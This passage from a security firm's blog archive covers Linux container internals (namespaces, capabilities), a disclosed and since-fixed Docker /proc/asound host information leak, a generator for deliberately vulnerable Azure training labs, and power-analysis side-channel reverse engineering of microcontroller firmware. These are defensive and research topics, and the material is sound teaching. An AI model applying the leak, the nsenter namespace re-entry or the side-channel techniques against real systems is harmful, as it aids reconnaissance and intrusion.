Monitors can also act as sound output devices when connected using a compatible interface like DisplayPort. The listing below illustrates how the model type of the connected monitors can be read from within a container:

docker run --rm \
 ubuntu:latest bash -c \
 "cat /proc/asound/card*/eld* | \
 grep monitor_name"
monitor_name SMS24A650 # (A Samsung monitor)
monitor_name SMS24A650

This information should not be accessible from within a container as it contains specific information on the host and its environment.

These issues have been reported [4] to the Docker maintainers and are now fixed in the upstream version by adding /proc/asound to the list of paths that are being masked to make each container manage its own versions of the affected paths. This path list is part of the OCI specification - therefore the fix for these issues also propagates to containerd which also uses the OCI specification.

Next post in series

Continue reading the next article in this series The PID and Network Namespaces

References / Credits

Credits: The elaboration and software project associated to this subject are results of a Master’s thesis created at SCHUTZWERK in collaboration with Aalen University by Philipp Schmied.

References

1 - Mount namespaces and shared subtrees
2 - Shared subtrees
3 - Moby Pull Request #37404
4 - Minor Information Leaks in /proc/asound
Title Image

AzureGenerat0r

Johannes Ziegler — Thu, 19 Mar 2020 15:56:10 +0100

Hands-on practice is an efficient way for penetration testers to gain in-depth knowledge of a certain skill or technology. Providing hands-on practice requires setting up an environment for test and training purposes. Setting up a test environment manually can be time-consuming and very frustrating. This is caused by long installation processes and configuration procedures. Besides that, setting up big test environments can be expensive due to the necessary infrastructure or computational power.
Developing a solution based on local virtualization is possible, but is still limited to local resources. Instead, this problem can be solved using cloud computing.

Introducing the AzureGenerat0r

AzureGenerat0r is a framework that combines infrastructure as code with configuration management. It uses Terraform to create infrastructure such as virtual machines, subnets, NICs, or routes in Microsoft Azure and modular Ansible Playbooks to configure virtual machines. The modules can be used to specify properties of a virtual machine such as

running services
vulnerabilities
installed software
OS/application configurations

Combining Terraform and Ansible with the help of some Python code, AzureGenerat0r is able to set up readily configured test environments on demand. To map a test environment to Azure, you have to describe the environment in a specification. This specification contains the infrastructure that should be created and the modules that should be deployed to the VMs. AzureGenerat0r can then process the specification and generate the specified resources. AzureGenerat0r was released on GitHub under the GPLv3 license.

Your browser does not support the video tag.

Create resources

AzureGenerat0r offers a wide range of features:

Use a counter to create multiple virtual machines.
Implemented default mechanisms for keeping a specification simple.
Specify parameters for modules in the specification. Thus, more powerful and flexible modules can be developed.
Deploy modules in two stages for handling time based dependencies. Enables delayed deployment of modules.
Use templates to encapsulate the description of a subnet or VM. The templates can be mounted into a specification. A template binds a subnet to its virtual machine and a virtual machine to its modules. Thus, subnets and VMs can be defined on a higher level of abstraction.
Let AzureGenerat0r choose random modules. These can be used in combination with vulnerability modules to create randomly vulnerable VMs.
Filter modules based on properties like CVE. This is provided by attaching a file with metadata to an existing module.
Extend AzureGenerat0r with your own modules. Thus, you can map the properties you need for your personal test environment.
Extend AzureGenerat0r with plugins. They can be used to generate values for a specification like IDs, names, or passwords. In combination with a counter, multiple machines can be created without having to specify the properties of each single machine. A plugin also can be used to initialize the VM counter.
Extend AzureGenerat0r to provide additional Azure resources. This cannot be done in a modular fashion, but the source code can be extended.

How to use AzureGenerat0r

In the following I will use an example to explain how AzureGenerat0r can be used. This example uses all the Azure resources and features that are currently implemented.
The specification creates two isolated subnets in Azure. The first subnet contains an Active Directory with a domain controller, two domain computers, and two domain users. The second subnet contains a dual homed host that serves a random vulnerable service which is accessible remotely. The specification file can be downloaded on GitHub.

Spec with comments

Use the command create to create the infrastructure in Azure. AzureGenera0r starts processing the specification and creates the infrastructure as follows:

Every machine gets its own public IP address.
Every machine has an open SSH/WinRM port.
On every machine there is a default user that can be used to log in to the machine.
The access to the machines is secured by Azure Network Security Groups.

After the command has executed successfully, it returns all the public and private IP addresses of the machines. Now the command enrich can be used to deploy the modules to the virtual machines. AzureGenerat0r creates the required configuration files and starts collecting the public SSH keys from the target machines, to add them to the known_hosts file. Afterwards it starts Ansible to deploy the modules to the virtual machines. This procedure is multithreaded. The output of each thread can be observed to ensure that the playbooks have been deployed successfully.

Your browser does not support the video tag.

Enrich VMs

So, with AzureGenerat0r test environments can be set up on demand. While the specification is pretty long, with the usage of templates it is possible to encapsulate these subnets and reuse them in future deployments. So this test environment can be created by a one-liner.

Use Case: Active Directory Multi Tier Environment

There are already various modules for the deployment of an Active Directory. The currently developed modules are capable of:

creating a domain
promoting a computer to a domain controller
adding users and computers to a domain
randomly creating multiple user accounts and their passwords (powered by Youzer )
organizing users in groups and computers in organizational units
importing GPOs

Combining these modules, a number of options are available to configure Active Directory as needed. Especially the ability to import GPOs is very powerful, as GPOs itself can be used to create complex Active Directories like an Active Directory Tier Model. The Active Directory administrative tier model is a concept for secure administration of an Active Directory that splits the administrative accounts into separated tiers.

The AD-Testlab specification for example realizes an Active Directory Tier Model where users and computers are separated into two logical tiers. Tier0 contains the domain controller, where only the Active Directory Administrator has access to. Tier1 represents a sales department using two domain computers, where 200 employees and one admin have access to.

As it takes its time to configure a Tier Model from scratch, if you need a tier separated AD lab for training or test purposes, you can use this specification. Besides adding computers, users, or tiers the AD can be extended with services such as Microsoft Exchange Servers which can be found in a real world company.

Future Work

Besides maintaining AzureGenerat0r related to updates from Terraform, Azure and Ansible, the plan is to extend it with more modules, plugins and cloud resources. Also, the implementation of read and write access to variables would be nice. AzureGenerat0r is an open source project, so feel free to contribute.
For questions on how to develop modules and plugins, check out the related directories on the AzureGenerat0r Github project . Additionally, code reviews and improvements are appreciated.

Credits: The elaboration and software project associated with this subject are results of a Bachelor’s thesis by Johannes Ziegler created at SCHUTZWERK in collaboration with Ulm University.

References

SCHUTZWERK IS SPONSOR OF THE 11TH GOD

SCHUTZWERK GmbH — Fri, 22 Nov 2019 13:00:00 +0100

This time the OWASP Day will take place in Karlsruhe on 10th of December. As an official sponsor SCHUTZWERK GmbH will take part again! The German Chapter will host this year’s GOD. This event is the most important, independent and non-commercial conference on web application security in Germany. The OWASP Day is characterized especially by its vendor neutrality and is free of marketing presentations. There will again be numerous lectures on secure development, operation, testing and management in the field of web-based applications.

SCHUTZWERK will be represented by the colleagues Tobias Arnold and Jonas Kaltenhauser, who are looking forward to an inspiring exchange.

SCHUTZWERK COOPERATES WITH THE WEDELER UNIVERSITY ASSOCIATION

SCHUTZWERK GmbH — Tue, 19 Nov 2019 13:00:00 +0100

Since October 2019 we are a cooperation partner of the University Association Wedel of the University of Applied Sciences Wedel (FH Wedel). In our third year in Hamburg we are now also setting sail in the academic context in order to inspire students for IT security. As a link between the university and business, the association has been supporting students for over 25 years. With its courses of studies in Computer Engineering, Computer Science and, above all, IT Security, FH Wedel covers exactly the needs of the areas in which we are looking for IT security consultants.

As curious we are to see which fruits the partnership will bear, as happy we are to welcome the students to the contact fair in the beginning of May 2020!

Linux Container Primitives: An Introduction to Namespaces

Philipp Schmied — Tue, 29 Oct 2019 08:56:10 +0100

The following list shows the topics of all scheduled blog posts regarding Linux containers. It will be updated with the corresponding links once new posts are being released.

An Introduction to Linux Containers
Linux Capabilities
An Introduction to Namespaces
The Mount Namespace and a Description of a Related Information Leak in Docker
The PID and Network Namespaces
The User Namespace
Namespaces Kernel View and Usage in Containerization
An Introduction to Control Groups
The Network and Block I/O Controllers
The Memory, CPU, Freezer and Device Controllers
Control Groups Kernel View and Usage in Containerization

Being introduced first in Linux kernel version 2.4.19 in 2002, namespaces define groups of processes that share a common view regarding specific system resources. This ultimately isolates the view on a system resource a group of processes may have, meaning that a process can for instance have its own hostname while the real hostname of the system may have an entirely different value.

There exist various namespaces types – as of Linux kernel version 4.19 the following types are available:

UTS
Mount
PID
Network
IPC (Inter Process Communication)
Control Group
User

Consider the UTS namespace as an example: Every process in a single UTS namespace shares the hostname with every other process in the same UTS namespace. Otherwise, the value of the hostname is isolated between different UTS namespaces. The code listing below illustrates this:

root@box :~# hostname # Get the hostname
box
root@box :~# unshare -u # Create a sub shell in a new UTS namespace
$ hostname # Get the hostname in the created UTS namespace
box
$ hostname anotherbox # Change the hostname in the UTS namespace
$ hostname # Verify that it has been changed
anotherbox
$ exit # Exit the UTS namespace shell
root@box :~# hostname # Verify that the real hostname of the parent UTS namespace hasn't changed
box

Namespaces can also be used in combination by making a process a member of multiple new namespaces at once. This is useful for containerization where multiple resources have to be isolated at once.

It’s important to note that by default every process is a member of a namespace of each type listed above. These namespaces are called default, init or root namespaces. In case no additional namespace configuration is in place, processes and all their direct children will reside in this exact namespace. This can be verified by executing lsns to list all namespaces in two different terminals and comparing the namespace identifiers which will be equal.

The isolation provided by namespaces is highly configurable and flexible. For instance, it’s possible for a database application and a web application to share the same network namespace, allowing both processes to communicate while other processes that reside in other network namespaces are not able to do so.

System Calls

Three system calls are commonly being used in conjunction with namespaces:

clone: Create child processes
unshare: This disables sharing a namespace with the parent process, effectively unsharing a namespace and its associated resources. Please note that this system call changes the shared namespaces in-place without the requirement of spawning a new process – with the PID namespace being an exception in this case as discussed in one of the next blog posts.
setns: Attaches a process to an already existing namespace.

Similar to the fork system call, clone is used to create child processes. There are multiple differences between the two calls: The most significant difference is that clone can be highly parametrized using flags. For example, it allows sharing the execution context, for instance the process memory space, with a child process. Therefore clone can also create threads and is more versatile than the legacy fork call. The fork call does not support most of this behavior. Instead, fork is essentially being used to create child processes as copies of a parent process. Before going into more detail about the differences and similarities it’s first important to understand what’s happening when fork, clone or a system call in general is being invoked in a C program.

fork() != fork

By using one of these two calls in C code the actual code that will be executed is not the system call itself as defined in the system call table. The code that will be called instead is a wrapper around the actual system call of the C library which is often named after the wrapped system call. These wrappers exist because using them is more convenient for developers than using system calls directly. For instance, to use a system call it’s necessary to setup registers, switch to kernel mode, handle the call results and switch back the user mode [1]. This can be simplified for by implementing a wrapper and doing these tasks in the wrapper’s code.

When inspecting the fork wrapper function it becomes clear that the actual fork system call that’s supposed to be wrapped is not being used it all. Instead, the ARCH_FORK macro gets called which is an inline system call to clone defined as:

#define ARCH_FORK() \
 INLINE_SYSCALL (clone, 4, \
 CLONE_CHILD_SETTID | CLONE_CHILD_CLEARTID | SIGCHLD, 0, \
 NULL, &THREAD_SELF->tid)

This results in the clone and fork library functions calling the same system call, namely clone. This can be verified by compiling a C application containing a call to fork and using strace to trace the resulting system calls when executing the resulting binary: No calls to fork are present, only a call to clone with the SIGCHILD flag. This ultimately implements the legacy fork call with a call to clone. The reason for that results in clone being a more powerful and configurable call than fork, making it possible to replace fork entirely with clone to spawn processes and threads.

Using clone()

The clone system call accepts various flags to configure the process creation. For the usage of namespaces a subset of these flags can be used to specify the new namespaces a process will join. By default the child processes are being initialized with a modified copy of the parent’s namespace configuration when supplying such a flag. This takes the desired namespaces configuration into account and makes the child process a member of the new namespaces that are represented as flags. If a specific flag of a namespace type is not specified, then the process is part of the parent’s namespace for this specific type, providing no additional level of isolation. Consider the UTS namespace example from above: The clone flag responsible for the creation of such a namespace is NEW_UTS.

The clone call has the following prototype, allowing to specify the flags described above:

int clone(int (*child_func)(void *), void *child_stack, int flags, void *arg)

child_func: Function pointer to the function being executed by the child process.
child_stack: The downwardly growing stack the child will operate on.
flags: Integer value representing all used flags as configured using an OR-Conjunction of flags.
arg: Additional arguments

The following code snippet shows a minimal example of using clone to spawn a shell process in a new UTS namespace. Please note that this minimal example does not provide includes, error handling and does not check return values.

#define STACKSIZE 8192
char *childStack;
char *childStackTop;
pid_t childPid;
// Will be executed by the child process
int run(void *) {
system("/bin/sh");
return 0;
}
int main(int argc, char const *argv[]) {
childStack = (char *)malloc(STACKSIZE);
// stack grows downward
 childStackTop = childStack + STACKSIZE;
childPid = clone(run, childStackTop,
CLONE_VFORK | CLONE_NEWUTS, 0);
return 0;
}

After compiling and running this example a shell in a new UTS namespace is being spawned.

unshare()

This system call allows processes to disable sharing namespaces after they have been created. In contrast, clone causes child processes to be moved to namespaces while creating them. There exists a CLI application available called unshare that creates a new process` and unshares specific system resources, whereas using the system call in a C program isolates a process at runtime without allocating a new process:

int main(int argc, char const *argv[]) {
unshare(CLONE_NEWUTS); // No error handling
 // Print hostname
 system("hostname");
// Set hostname
 system("hostname testname");
// Print hostname again
 system("hostname");
// Print the available namespaces
 system("lsns");
// Spawn a shell
 execvp("/bin/sh", 0);
return 0;
}

When compiling and running the program a similar output to the following listing content can be observed:

root@box:~# ./a.out
box
testname
[...]
NS TYPE NPROCS PID USER COMMAND
[...]
4026531835 cgroup 336 1 root /sbin/init splash
4026531836 pid 293 1 root /sbin/init splash
4026531837 user 293 1 root /sbin/init splash
4026531838 uts 333 1 root /sbin/init splash
4026531839 ipc 336 1 root /sbin/init splash
4026531840 mnt 326 1 root /sbin/init splash
4026532009 net 292 1 root /sbin/init splash
[...]
4026532436 uts 3 27750 root ./a.out
[...]
root@box:~# lsns | grep uts
4026531838 uts 134 803 user /bin/sh

As seen above, the created process is able to set its own hostname, ultimately isolating the value of this setting in-place. Additionally, the spawned process is present in two UTS namespaces. The parent process is only a member of one UTS namespace. According to the namespace IDs, one of these UTS namespaces is shared as it’s the default namespace of that type. The other namespace is the one that has been created using the unshare call.

The command lsns gathers the displayed information by checking the contents of the /proc/<PID>/ns directory for each PID. In the context of containers it should not be possible to get information on parent namespaces like it’s possible in this example. When creating a container, the /proc directory or sensitive parts of it should therefore be isolated to prevent this information leak.

setns()

To add processes to already existing namespaces, setns is being utilized. It disassociates a process from its original namespace and associates it with another namespace of the same type. The prototype of this system call is as follows:

int setns(int fd, int nstype)

fd: File descriptor of a symbolic link representing a specific namespace as represented in /proc/<PID>/ns.
nstype: This parameter is designated for checks regarding the namespace type. By passing a CLONE_NEW* flag, the namespace type of the first parameter is checked before entering the namespace. This makes sure that the passed file descriptor indeed points to the desired namespace type. To disable this check, a zero value can also be used for this parameter.

A simple example that invokes a command in a given namespace can be examined in the following code listing ([2] – modified):

[...]
// Get namespace file descriptor
int fd = open(argv[1], O_RDONLY);
// Join the namespace
setns(fd, 0);
// Execute a command in the namespace
execvp(argv[2], &argv[2]);
[...]

The code above launches a child process that executes the specified command and resides in a different namespace as the parent.

To perform this from a CLI the nsenter application can be of use. Cosider a shell process residing in a separate UTS namespace: By executing nsenter -a -t 1 the process is being moved to all namespaces originating from the system initialization process with PID 1. This effectively reverts the call to unshare, making the original UTS namespace available to the shell process. Now changing the hostname from the shell process will affect the hostname of the default namespace and therefore the system’s hostname. As a result, it’s important to prevent these types of setns calls by isolating the exposed namespaces. This illustrates that by using namespaces alone it may not be possible to prevent system modifications.

Next post in series

Continue reading the next article in this series The Mount Namespace and a Description of a Related Information Leak in Docker

References / Credits

Credits: The elaboration and software project associated to this subject are results of a Master’s thesis created at SCHUTZWERK in collaboration with Aalen University by Philipp Schmied.

References

1 - LWN: Glibc and the kernel user-space API
2 - LWN: Namespaces in operation, part 2: the namespaces API
Title Image

SCHUTZWERK IS SILVER SPONSOR OF ELBSIDES

SCHUTZWERK GmbH — Thu, 05 Sep 2019 13:00:00 +0100

The first BSides will take place in Hamburg on September 16, 2019. We are an official sponsor of this event. After three successful years in Munich and since this year also in Stuttgart, the North of Germany finally won the BSides' heart! Under the title Elbsides , all security interested people are invited who live especially in the North of the Elbe.

The Security BSides is organized by experts of IT security to bring the IT security community together. Some of the members of the Meetup group HH.Security and the organizers of BSidesMunich stiffened Hamburg as a new location. SCHUTZWERK found its second site in Hamburg in 2017 and is very excited! Part of our Hamburg team will take part.

Next to interesting lectures, there will be workshops as well on this one day event. We are looking happily forward to the exchange!

Power analysis based software reverse engineering assisted by fuzzing I

Simon Diepold — Mon, 26 Aug 2019 11:15:06 +0200

This is the first part of a three part series about power analysis based software reverse engineering. It is part of our work in the SecForCARs project and the bachelor thesis “Poweranalyse basiertes Software Reverse Engineering mit Hilfe von Fuzzing”. The results will be summarized in this blogpost series. In this first part the goals of the research and the power analysis template extraction process are presented.

The following list shows the topics of all scheduled blog posts. It will be updated with the corresponding links once new posts are being released:

Goals and template extraction process
Template analysis and reverse engineering
Fuzzing based on reconstructed flow

Concept

Every modern dishwasher, car or fabrication machine contains at least one embedded microcontroller. Those controllers receive commands and data from sensors or other embedded systems and also control electronic actuators. Due to intellectual property reasons or to protect the functionality of the devices itself, the firmware running on embedded microcontrollers is in many cases not accessible (e.g. via the controllers debugging interface). This is an unfortunate situation for security research. To bypass the security mechanisms of such embedded systems, and gain insight into the firmware, so called “side channel attacks” can be used. Side channel attacks use physical properties of a targeted system to attack it.

When it comes to microcontrollers, processor pipelines are much simpler than on regular computers. They execute instructions in the program given order, in contradiction to super scalar desktop and server processors which can reschedule instructions for better utilization of their execution units. When an instruction is executed on such a microcontroller, the power consumption can change during this execution depending on what kind of operations are performed and on which execution unit of the processor. This can leave a characteristic pattern on the power trace of the microcontroller. A recording of a characteristic power trace for a specific instruction is later referred as “template”. Such a template can be correlated with any recorded power trace to detect when the corresponding instruction is executed. With that information the program’s execution flow graph can be reconstructed. This graph can then be used to reassemble parts of the executed program.

Under normal circumstances the target processor can not be used to run test programs to record a template of a specific instruction, since the researcher has no access to the processor. But if the templates of two processors of the same type are interchangeable the templates can be recorded on a separate microcontroller. This leaves another problem: A software that mostly reacts to external inputs is idle most of the time. Even when, an input is triggered only a small part of the program becomes active. To maximize the executed code a computer with a fuzzer that feeds a big variety of messages to the controller can be attached.

This allows an attack of the following scenario:

Templates for all instructions are created with a separate microcontroller of the same type as the target controller. Those templates can be correlated with the recorded power consumption of the target after a specific input over a peripheral bus. The resulting information can then be used by a fuzzer attached to the peripheral bus to optimize its input. It uses the reconstructed execution flows to check if the same behavior was triggered from different inputs. If the same behavior was triggered, different messages will be send to the microcontroller.

Target and setup

In our research the STM32F3 was chosen as a target, because it is a widely used chip which has an included ARM Coretex M4, voltage regulator and a lot of peripheral interfaces like SPI, I2C and CAN. To perform the power analysis we used a Chipwhisperer-Pro and a Picoscope , providing a Python software interface and a high enough sample rate to analyze the power trace of the STM32F3. To measure the current draw of the microcontroller the voltage across a shunt resistor on the power input of the STM32F3 is connected to the Picoscope or the Chipwhisperer.

The test setup consists of a ChipWhisperer CW1200, a Picoscope 5244D, the STM32F3 target board and the UFO Board . The target board consists of the STM32F3 and a minimal circuitry to run the controller. It is attached to the UFO board which connects the target to the ChipWhisperer and the Picoscope. The Picoscope and the ChipWhisperer are hooked up to GPIO13 and to the shunt resistor. The signal from GPIO13 will be used as a trigger for recording the voltage across the shunt resistor. The ChipWhisperer is primarily used as a fast flasher and clock source for the target but it can also be used as main measurement instrument. But it is more accurate to use the Picoscope which has a better time and voltage resolution. It does not matter what kind of oscilloscope is used as long as its sample rate is 3x faster than the base clock of the STM32F3. For example on the setup depicted above a Rigol oscilloscope was used to check the measured signals of the ChipWhisperer.

To measure the current draw of one specific instruction a test program that runs the instruction has to be created, flashed and executed on the microcontroller. It is important to record as little as possible because long recordings make it difficult to find the piece of the recording that actually represents one specific instruction. This can be achieved by changing the state of a GPIO from LOW to HIGH right before the instruction is executed. The state change of the pin triggers the oscilloscope to record and after the instruction a second state change can be used to trim the end of the recording.

But even inside the boundaries of the trigger signals the instruction’s power trace is padded with parts of the function return of the pin set and the stack restore. To separate those from the actual instruction further analysis is necessary.

Extraction of the Templates

In order to extract a template of a specific instruction a series of tests must be recorded. The tests are chains of the same instruction in different lengths.

If for example a chain with two repetitions is subtracted from a chain with three repetitions the first two repetitions cancel out each other and it is noticeable when the third repetition starts. It is even more visible and better detectable if the signal is filtered with a 50% threshold filter.

When the signal is above zero for the first time the third repetition starts. To detect the end of the third repetition the chain with three repetitions is subtracted from a chain with four repetitions. The first difference is the beginning of the fourth repetition and the end of the third.

The resulting start and end points can then be used to cut out the actual template from the three repetition recordings.

This is the final template of a “add r0, r0” instruction:

Continue reading the next part of this series in which we will analyze the templates used to reconstruct programs here .

References / Credits

Moin moin - New office in the heart of Hamburg

SCHUTZWERK GmbH — Mon, 24 Jun 2019 13:00:00 +0100

Our new office in the historic building of the Hanse-Viertel offers growth potential and best working conditions for the Hamburg team of SCHUTZWERK.

After a long search, we were able to find a new home for our Hamburg team in a popular inner city location. It offers sufficient space for the grown team and space to grow further. Some things are still under construction, but we have Internet, club-mate, coffee, height-adjustable desks and equipment for the meeting room. We still need some more furniture for our lounge area and are hesitating between a pool table, airhockey table or foosball table.

But we are looking forward to the near future and are already planning the first events in our new office. From July on we will be supported in Hamburg by a new employee in the marketing and sales area. We are also looking for technical consultants, who like to get to the bottom of things, know CTFs not only from games and want to live out their interest in IT security professionally. Feel free to contact us.

Tschüss

Automotive Security Talk at Aalen University

SCHUTZWERK GmbH — Wed, 19 Jun 2019 13:00:00 +0100

As part of the 10 years IT security anniversary lecture series at Aalen University, Bastian Könings has given an introduction to the security of today’s and future vehicles. In his talk, he outlined known security issues and demonstrated existing attacks on cars. How these issues are being addressed in current development processes was discussed by showing the goals and approaches of penetration tests conducted by SCHUTZWERK in the automotive domain.

The talk concluded with the lookout on current ambitions to secure future autonomous cars which are addressed in the BMBF-funded research project SecForCARs. In this project, SCHUTZWERK is particularly involved in the development of new methods and tools for the security assessment of autonomous vehicles.

SCHUTZWERK CTF Event at the Aalen University of Applied Sciences

SCHUTZWERK GmbH — Fri, 29 Mar 2019 13:00:00 +0100

In cooperation with the Aalen University of Applied Sciences, SCHUTZWERK organized another successful hacking event for their students. As part of the all-day event, the students were invited to solve challenges from different categories and levels of difficulty. New this year were, besides the updated Challenges in the existing areas, challenges from the topic Hardware / Embedded Security.

At this point we would like to thank the University for the cooperation and congratulate the winners of the event.

Further dates are already planned. Write to us if you are interested. We regularly hold events in companies as well and are happy to come to your University.

Linux Container Basics: Capabilities

Philipp Schmied — Wed, 27 Mar 2019 09:56:10 +0100

Disclaimer: The elaboration associated to this subject results from a Master’s thesis created at SCHUTZWERK in collaboration with Aalen University by Philipp Schmied.

This post of the Linux Container series provides information regarding required fundamentals: Linux capabilities. The following list shows the topics of all scheduled blog posts. It will be updated with the corresponding links once new posts are being released.

An Introduction to Linux Containers
Linux Capabilities
An Introduction to Namespaces
The Mount Namespace and a Description of a Related Information Leak in Docker
The PID and Network Namespaces
The User Namespace
Namespaces Kernel View and Usage in Containerization
An Introduction to Control Groups
The Network and Block I/O Controllers
The Memory, CPU, Freezer and Device Controllers
Control Groups Kernel View and Usage in Containerization

The traditional way of handling permissions in Linux involves exactly two process types: Privileged and unprivileged processes. When disregarding capabilities, a process is privileged in case the effective UID is equal to 0 – providing permissions commonly referred to as root privileges. The Linux kernel makes a sharp distinction between privileged and unprivileged processes. For example, privileged processes are allowed to bypass various kernel permission checks [1]. This results in a severe security violation in case untrusted applications are allowed to run with root privileges.

In practice, many system services and applications have to be executed with root privileges. Otherwise the permissions for privileged actions may be missing for a given process. For instance, consider sending ICMP network packets with the ping command: Before capabilities were introduced in the Linux kernel, it was required to execute applications that use raw sockets with elevated privileges – for example using the SUID bit. This theoretically enables the ping process that’s being executed as root to perform privileged system changes or actions that may or may not be desired – additionally to performing the task the process is designated for. Tracing other processes, mounting devices and loading arbitrary kernel modules are some of the actions that will be allowed, additionally to using raw sockets. Therefore, the resulting attack scenario involves executing untrusted binaries or running potentially vulnerable system services with root privileges that may be used by a malicious actor to harm a system.

Because of the security concerns resulting from this, capabilities have been introduced starting from kernel version 2.2. The basic idea is to split the root permission into small pieces that are able to be distributed individually on a thread basis without having to grant all permissions to a specific process at once. A complete list of all available capabilities is present in the capability manual page [1]. In particular, a powerful capability is CAP_SYS_ADMIN which allows to perform comprehensive actions on a system. Please note that this capability is overloaded and its use is discouraged in case better alternatives are available, for example using only a minimal set of capabilities. However, sometimes using this capability is required – for example mount operations require this specific capability. Considering the example with ping would involve adding the CAP_NET_RAW capability to the process making use of raw sockets without having to grant a full set of root privileges.

There are two ways a process can obtain a set of capabilities:

Inherited capabilities: A process can inherit a subset of the parent’s capability set. To inspect the available capabilities for a process, the /proc/<PID>/status file can be examined.
File capabilities: It’s possible to assign capabilities to a binary, e.g. using setcap. The process created when executing a binary of this type is then allowed to use the specified capabilities on runtime. This requires that the process is capability-aware, meaning that it explicitly requests the kernel to allow it to use these capabilities. In case a binary was developed before capabilities were introduced in the kernel, this is not the case as the required system calls for this task were not available at the time the binary was compiled. Hence, the process can fail to perform its designated task because of missing permissions. The Linux kernel manual calls these binaries capability-dumb binaries. A solution for this kind of problem will be discussed later on. Querying a binary for file capabilities is accomplished with the getcap utility. Performing this on Arch Linux and the included ping binary shows that the CAP_NET_RAW file capability is present, allowing pings without granting root permissions to the process.

The `execve` System Call

In the Linux kernel, the two main operations regarding processes are fork and exec. The fork system call creates a new process as a copy of the parent process. On the other hand, exec replaces the current process with the contents resulting from executing another program. Both mechanisms are often used in combination, for example when invoking a command in a terminal that’s not a shell-builtin:

fork is called to create a child process.
The child invokes exec to replace its contents with the desired program.
The parent waits for the child to exit and retrieves the exit code.

Please note that fork is required in the scenario above because the original process is not ready to exit yet – it rather invokes an external command and continues its execution afterwards. Without calling fork the current process would be replaced with the desired program. This process exits immediately after its execution which is not desired in the context of a shell.

Discussing exec above does not refer to a single system call. It rather describes the usage of a system call of the exec-family. While there are multiple exec calls, most of them are built by making use of execve. The differences in the function API manifest in the provided parameters for each call.

The execve call is particularly important regarding the various capability sets and thereto related rules which will be discussed further on.

Capability Sets

There exist five different capability sets for each process, each represented by a 64 bit value:

CapEff: The effective capability set represents all capabilities the process is using at the moment. For file capabilities the effective set is in fact a single bit indicating whether the capabilities of the permitted set will be moved to the effective set upon running a binary. This makes it possible for binaries that are not capability-aware to make use of file capabilities without issuing special system calls.
CapPrm: The permitted set includes all capabilities a process may use. These capabilities are allowed to be copied to the effective set and used after that.
CapInh: Using the inherited set all capabilities that are allowed to be inherited from a parent process can be specified. This prevents a process from receiving any capabilities it does not need. This set is preserved across an execve and is usually set by a process receiving capabilities rather than by a process that’s handing out capabilities to its children.
CapBnd: With the bounding set it’s possible to restrict the capabilities a process may ever receive. Only capabilities that are present in the bounding set will be allowed in the inheritable and permitted sets.
CapAmb: The ambient capability set applies to all non-SUID binaries without file capabilities. It preserves capabilities when calling execve. However, not all capabilities in the ambient set may be preserved because they are being dropped in case they are not present in either the inheritable or permitted capability set. This set is preserved across execve calls.

The sets discussed above allow a fine grained control over how capabilities are being distributed and inherited across processes and binaries. For backwards compatibility all capabilities are being granted to processes running as root user, including SUID binaries.

Capability Rules

Child processes created using fork inherit the full set of the parent’s capabilities. Moreover, there exist rules [1] to determine whether and how capabilities of a process are being inherited or modified upon calling execve when creating a child process:

Capability Rules

In consequence of the rules above, UID changes have an effect on the available capabilities. If there’s a transition from a zero to a non-zero effective UID value, the effective and permitted capability sets are being cleared.

There may be scenarios where a process requires a capability to perform initial configuration of the system and is then able to drop specific capabilities because their usage is not required anymore. In general it’s a good software design to drop all unnecessary capabilities – container engines like Docker do this by default. To perform this task, the prctl utility can be of use. By utilizing this tool, the secure bits of a process are being manipulated. These flags control how capabilities are being handled for the root user. One flag, namely SECBIT_KEEP_CAPS, controls whether capabilities are being cleared in case a UID transition, for example with setuid, takes place. By setting this bit the current capability set is being retained when switching to another user from a process. For example, the implementation of ntp [2], the NTP daemon drops its capabilities as follows:

Set the PR_SET_KEEPCAPS secure bit using prctl. At this point ntpd is still being executed with root privileges.
Use a setuid call to switch to an unprivileged user. Because of the previous step all capabilities are retained across the UID change.
At this point the NTP daemon is running as an unprivileged user. However, all capabilities are still available to the ntpd process. With cap_set_proc of the libcap library only a selected subset of the currently available capabilities are being explicitly used while all others are being dropped automatically.

Preventing a certain capability from being present in a capability set of a given process can be achieved with the PR_CAPBSET_DROP flag. It effectively drops a capability from the bounding set and drops privileges prior to being added to one of the other capability sets.

While container runtimes can effectively make use of capabilities, the general adoption of this security mechanism that was once the hope for an innovation in privilege management was hindered [3]. This results from capabilities being considered too complex and unhandy to use in the past. After all, specific capability sets and thereto related mechanisms, such as the ambient set that was added in Linux 4.3 (2015), were added long after the initial capability implementation. With the current capability implementation and API many of the original points of criticism can be disqualified.

Next post in series

Continue reading the next article in this series An Introduction to Namespaces

References

1 - Linux manual pages: Overview of Linux capabilities
2 - Source Code: ntpd.c
3 - LWN: Inheriting capabilities
Title Image

An Introduction to Linux Containers

Philipp Schmied — Wed, 27 Mar 2019 08:34:15 +0100

This is the introduction post for the Linux containers blog post series. The following list shows the topics of all scheduled blog posts. It will be updated with the corresponding links once new posts are being released.

An Introduction to Linux Containers
Linux Capabilities
An Introduction to Namespaces
The Mount Namespace and a Description of a Related Information Leak in Docker
The PID and Network Namespaces
The User Namespace
Namespaces Kernel View and Usage in Containerization
An Introduction to Control Groups
The Network and Block I/O Controllers
The Memory, CPU, Freezer and Device Controllers
Control Groups Kernel View and Usage in Containerization

With the steadily growing spread of containerization now and in the future, it becomes increasingly necessary to properly understand the internals and potential security threats resulting from aspects like kernel vulnerabilities, container misconfigurations and wrong use. This also includes optimizing the process of deploying and distributing containers and their environments to increase the productivity and efficiency, which directly impacts the cost factor. There are many ways containerization can be implemented - this blog post series focusses on Linux namespaces and control groups. These features are currently being used by LXC and Docker.

A container is a set of processes that’s isolated from the host environment, processes, file hierarchy and network stack. Often containers are being created using images. These are minimal root filesystems that include the required binaries, dependencies and configuration files for the container to run. There’s no additional abstraction layer between the kernel and the application and there are no devices being virtualized. Instead, the kernel of the host system is being shared with the isolated processes. Isolation is being implemented using primitives available in the Linux kernel.

Because of these aspects containers are efficient:

Storage: To build container images, often minimal base images of Linux distributions are being used. For example, an Ubuntu base image is 188 megabytes in size. That’s only a small fraction of the size of a Ubuntu virtual machine. Moreover, there are even smaller base images like Alpine Linux with five megabytes and BusyBox with only two megabytes in size. On top of that, base images can be reused for multiple images. If for instance multiple images are making use of the same base image, the base image only has to be stored once if the container engines supports layered images.
Performance: Because of the shared kernel, there’s minimal additional cost when running containers compared to the execution without any containerization. Containers are able to be added and removed in seconds, making them a handy tool for agile application deployment.
Complexity: Every primitive that’s being used to isolate processes is already included in the operating system kernel. Without the requirement of an additional hypervisor layer, the operating system is aware of all parts of the containerization process and can handle the execution natively. For example, memory management for containers can be as simple as managing the memory of a single native process.

